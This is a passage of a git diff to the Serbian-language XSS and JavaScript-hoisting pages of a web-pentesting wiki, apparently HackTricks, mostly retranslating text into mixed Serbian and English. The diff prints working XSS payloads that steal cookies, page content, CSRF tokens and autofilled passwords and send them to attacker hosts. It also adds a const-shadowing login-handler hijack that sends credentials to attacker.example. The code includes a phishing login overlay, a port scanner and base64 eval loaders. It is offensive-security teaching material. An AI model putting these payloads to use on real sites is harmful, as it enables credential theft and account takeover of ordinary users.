-- **Različite obfuskacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **Različite obfuscations na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 - [http://www.jsfuck.com/](http://www.jsfuck.com)
-- Više sofisticirani JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
+- More sofisticated JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@@ -1234,25 +1271,25 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS uobičajeni payloadi
+## XSS uobičajeni payloads
 
-### Nekoliko payloada u 1
+### Više payloads u 1
 
 
 {{#ref}}
 steal-info-js.md
 {{#endref}}
 
-### Iframe zamka
+### Iframe Trap
 
-Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite njegove akcije (uključujući informacije poslate u formama):
+Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite njegove akcije (uključujući informacije poslate u obrascima):
 
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Preuzmi kolačiće
+### Preuzimanje Cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1275,9 +1312,9 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
-
-### Ukradi sadržaj stranice
+> Nećete moći da pristupite cookies iz JavaScript-a ako je HTTPOnly flag postavljen u cookie-ju. Ali ovde imate [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) ako imate dovoljno sreće.
+   
+### Krađa sadržaja stranice
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1347,7 +1384,7 @@ q.shift()()
 }
 </script>
 ```
-### Port Scanner (fetch)
+### Skener portova (fetch)
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
@@ -1366,15 +1403,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._
+_Kratka vremena ukazuju na port koji odgovara_ _Duža vremena ukazuju na izostanak odgovora._
 
-Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Pregledajte listu portova zabranjenih u Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Kutija za traženje kredencijala
+### Polje za unos kredencijala
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Hvatanje lozinki za automatsko popunjavanje
+### Hvatanje lozinki putem automatskog popunjavanja
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1385,18 +1422,33 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Kada se bilo koji podaci unesu u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent odabere sačuvanu lozinku i ne unese ništa, akreditivi će biti ex-filtrirani.
+Kada se bilo koji podatak unese u password field, username i password se šalju na attackers server; čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated.
+
+### Hijack form handlers to exfiltrate credentials (const shadowing)
+
+Ako je kritični handler (npr. `function DoLogin(){...}`) deklarisan kasnije na stranici, a vaš payload se izvršava ranije (npr. putem inline JS-in-JS sink), definišite `const` istog imena prvo da preduhitrite i zaključate handler. Kasnije function declarations ne mogu rebind a `const` name, ostavljajući vaš hook pod kontrolom:
+```javascript
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value);
+const user = Trim(FormInput.InputUtente.value);
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
+};
+```
+Napomene
+- Ovo se oslanja na redosled izvršavanja: tvoj injekcioni kod mora da se izvrši pre legitimne deklaracije.
+- Ako je tvoj payload obavijen u `eval(...)`, `const/let` vezivanja neće postati globalna. Koristi dinamičku `<script>` injekciju iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” da obezbediš pravi globalni, neponovno-veziv (non-rebindable) binding.
+- Kada filteri po ključnim rečima blokiraju kod, kombinuј ih sa Unicode-escaped identifikatorima ili `eval(atob('...'))` isporukom, kao što je prikazano gore.
 
 ### Keylogger
 
-Samo pretražujući na github-u, pronašao sam nekoliko različitih:
+Samo pretragom na github-u našao sam nekoliko različitih:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-- Takođe možete koristiti metasploit `http_javascript_keylogger`
+- You can also use metasploit `http_javascript_keylogger`
 
-### Krađa CSRF tokena
+### Stealing CSRF tokens
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@@ -1419,28 +1471,28 @@ window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
 </script>
 ```
-### Zloupotreba servisnih radnika
+### Zloupotreba Service Workers
 
 
 {{#ref}}
 abusing-service-workers.md
 {{#endref}}
 
-### Pristupanje Shadow DOM-u
+### Pristup Shadow DOM
 
 
 {{#ref}}
 shadow-dom.md
 {{#endref}}
 
-### Poliglot
+### Polyglots
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}
 
-### Slepi XSS payloadi
+### Blind XSS payloads
 
 Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
 ```html
@@ -1507,9 +1559,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 <!-- In case your target makes use of AngularJS -->
 {{constructor.constructor("import('{SERVER}/script.js')")()}}
 ```
-### Regex - Pristup Skrivenom Sadržaju
+### Regex - Pristup skrivenom sadržaju
 
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
+Iz [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) može se saznati da čak i ako neke vrednosti nestanu iz JS, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos za REGEX se i dalje može pronaći nakon što je vrednost unosa regex-a uklonjena:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1526,59 +1578,61 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Brute-Force Lista
+### Brute-Force lista
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
 
-## XSS Iskorišćavanje drugih ranjivosti
+## XSS zloupotreba drugih ranjivosti
 
-### XSS u Markdown-u
+### XSS in Markdown
 
-Možete li ubrizgati Markdown kod koji će biti renderovan? Možda možete dobiti XSS! Proverite:
+Možeš li ubaciti Markdown kod koji će biti renderovan? Možda možeš dobiti XSS! Proveri:
 
 
 {{#ref}}
 xss-in-markdown.md
 {{#endref}}
 
-### XSS do SSRF
+### XSS u SSRF
 
-Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **da to unapredite na SSRF** kroz Edge Side Include Injection sa ovim payload-om:
+Imaš XSS na sajtu koji koristi keširanje? Pokušaj to nadograditi u SSRF putem Edge Side Include Injection koristeći ovaj payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Iskoristite to da zaobiđete ograničenja kolačića, XSS filtre i još mnogo toga!\
+Iskoristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\
 Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
-### XSS u dinamički kreiranim PDF-ovima
+### XSS in dynamic created PDF
+
+Ako web stranica kreira PDF koristeći korisnički kontrolisan input, možete pokušati da **prevarite bota** koji kreira PDF da **izvrši proizvoljan JS kod**.\
+Dakle, ako **PDF creator bot finds** neku vrstu **HTML** **tags**, on će ih **interpretirati**, i možete **abuse** ovo ponašanje da izazovete **Server XSS**.
 
-Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bot** koji kreira PDF da **izvrši proizvoljni JS kod**.\
-Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, a vi možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-Ako ne možete da injektujete HTML tagove, možda bi bilo korisno pokušati da **injektujete PDF podatke**:
+Ako ne možete da ubacite **HTML** **tags** možda vredi pokušati da **inject PDF data**:
+
 
 {{#ref}}
 pdf-injection.md
 {{#endref}}
 
-### XSS u Amp4Email
+### XSS in Amp4Email
 
-AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi osigurao funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem [AMP komponenti](https://amp.dev/documentation/components/?format=websites).
+AMP, usmeren na ubrzavanje performansi web stranica na mobilnim uređajima, uključuje HTML tags dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa naglaskom na brzinu i bezbednost. Pruža niz komponenti za različite funkcije, dostupnih preko [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje specifične AMP komponente na emailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih emailova.
+The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format proširuje specifične AMP komponente na emails, omogućavajući primaocima da direktno u svojim emailovima interaguju sa sadržajem.
 
-Primer [**writeup XSS u Amp4Email u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
-### XSS učitavanje fajlova (svg)
+### XSS uploading files (svg)
 
-Učitajte kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+Uploadujte kao sliku fajl poput sledećeg (iz [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1634,16 +1688,16 @@ id="foo"/>
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
-Find **više SVG payload-a u** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+Pronađite **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Razne JS trikovi i relevantne informacije
+## Razni JS trikovi i relevantne informacije
 
 
 {{#ref}}
 other-js-tricks.md
 {{#endref}}
 
-## XSS resursi
+## Resursi za XSS
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
 - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
@@ -1652,4 +1706,9 @@ other-js-tricks.md
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 
+## Reference
+
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
+- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
+
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
index 17019df3e..c6aa55c45 100644
--- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
+++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
@@ -2,31 +2,31 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Osnovne Informacije
+## Osnovne informacije
 
-U JavaScript jeziku, mehanizam poznat kao **Hoisting** opisuje situaciju gde se deklaracije promenljivih, funkcija, klasa ili uvoza konceptualno podižu na vrh svog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.
+U jeziku JavaScript opisuje se mehanizam poznat kao **Hoisting**, pri kojem se deklaracije promenljivih, funkcija, klasa ili imports konceptualno podižu na vrh njihovog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.
 
-Tokom prvog prolaza, engine analizira kod kako bi proverio sintaktičke greške i transformiše ga u apstraktno sintaktičko stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije premeste na vrh konteksta izvršenja. Ako je faza analize uspešna, što ukazuje na to da nema sintaktičkih grešaka, izvršenje skripte se nastavlja.
+Tokom prvog prolaza, engine parsira kod da bi proverio sintaksne greške i transformisao ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije pomeraju na vrh konteksta izvršavanja. Ako faza parsiranja uspe, što znači da nema sintaksnih grešaka, izvršavanje skripte može da se nastavi.
 
-Ključno je razumeti da:
+Važno je razumeti da:
 
-1. Skripta mora biti bez sintaktičkih grešaka da bi došlo do izvršenja. Sintaktička pravila moraju se strogo poštovati.
-2. Postavljanje koda unutar skripte utiče na izvršenje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije.
+1. Skripta mora biti bez sintaksnih grešaka da bi se izvršila. Pravila sintakse moraju biti striktno poštovana.
+2. Pozicija koda u okviru skripte utiče na izvršavanje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije.
 
 #### Tipovi Hoistinga
 
-Na osnovu informacija sa MDN-a, postoje četiri različita tipa hoistinga u JavaScript-u:
+Na osnovu informacija sa MDN, postoje četiri različita tipa hoistinga u JavaScriptu:
 
-1. **Value Hoisting**: Omogućava korišćenje vrednosti promenljive unutar njenog opsega pre njene deklaracije.
-2. **Declaration Hoisting**: Omogućava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali će vrednost promenljive biti `undefined`.
-3. Ovaj tip menja ponašanje unutar svog opsega zbog deklaracije promenljive pre njene stvarne deklaracione linije.
+1. **Value Hoisting**: Omogućava upotrebu vrednosti promenljive unutar njenog opsega pre linije njene deklaracije.
+2. **Declaration Hoisting**: Dozvoljava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali vrednost promenljive biće `undefined`.
+3. Ovaj tip menja ponašanje unutar svog opsega zbog deklaracije promenljive pre stvarne linije njene deklaracije.
 4. Sporedni efekti deklaracije se dešavaju pre nego što se ostatak koda koji je sadrži evaluira.
 
-Detaljno, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` pokazuje ponašanje tipa 2. Lekcionalne deklaracije, koje uključuju `let`, `const`, i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` izjave su jedinstvene po tome što se podižu sa ponašanjem tipa 1 i tipa 4.
+Detaljnije, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` demonstrira ponašanje tipa 2. Leksičke deklaracije, koje uključuju `let`, `const` i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` statements su jedinstveni po tome što se hoistuju sa ponašanjem tipa 1 i tipa 4.
 
 ## Scenariji
 
-Dakle, ako imate scenarije gde možete **Umetnuti JS kod nakon što je korišćen nedeklarisani objekat**, mogli biste **ispraviti sintaksu** tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da izazove grešku):
+Dakle, ako imate scenarije u kojima možete **Inject JS code after an undeclared object** is used, možete **fix the syntax** tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da baci grešku):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -127,11 +127,31 @@ alert(1) -
 },
 })
 }
+trigger()
 ```
+### Spreči kasnije deklaracije zaključavanjem imena pomoću const
+
+Ako možete izvršiti kod pre nego što se top-level `function foo(){...}` parsira, deklarisanjem leksičkog vezivanja istog imena (npr. `const foo = ...`) sprečićete kasniju deklaraciju funkcije da ponovo veže taj identifikator. Ovo se može zloupotrebiti u RXSS da bi se preoteli kritični handleri definisani kasnije na stranici:
+```javascript
+// Malicious code runs first (e.g., earlier inline <script>)
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value)
+const user = Trim(FormInput.InputUtente.value)
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
+}
+
+// Later, the legitimate page tries to declare:
+function DoLogin(){ /* ... */ } // cannot override the existing const binding
+```
+Napomene
+- Ovo zavisi od redosleda izvršavanja i globalnog (top-level) opsega.
+- Ako se vaš payload izvršava unutar `eval()`, imajte na umu da su `const/let` unutar `eval` block-scoped i neće napraviti globalne binding-e. Ubacite novi `<script>` element sa kodom da uspostavite pravi globalni `const`.
+
 ## Reference
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
 - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 
 {{#include ../../banners/hacktricks-training.md}}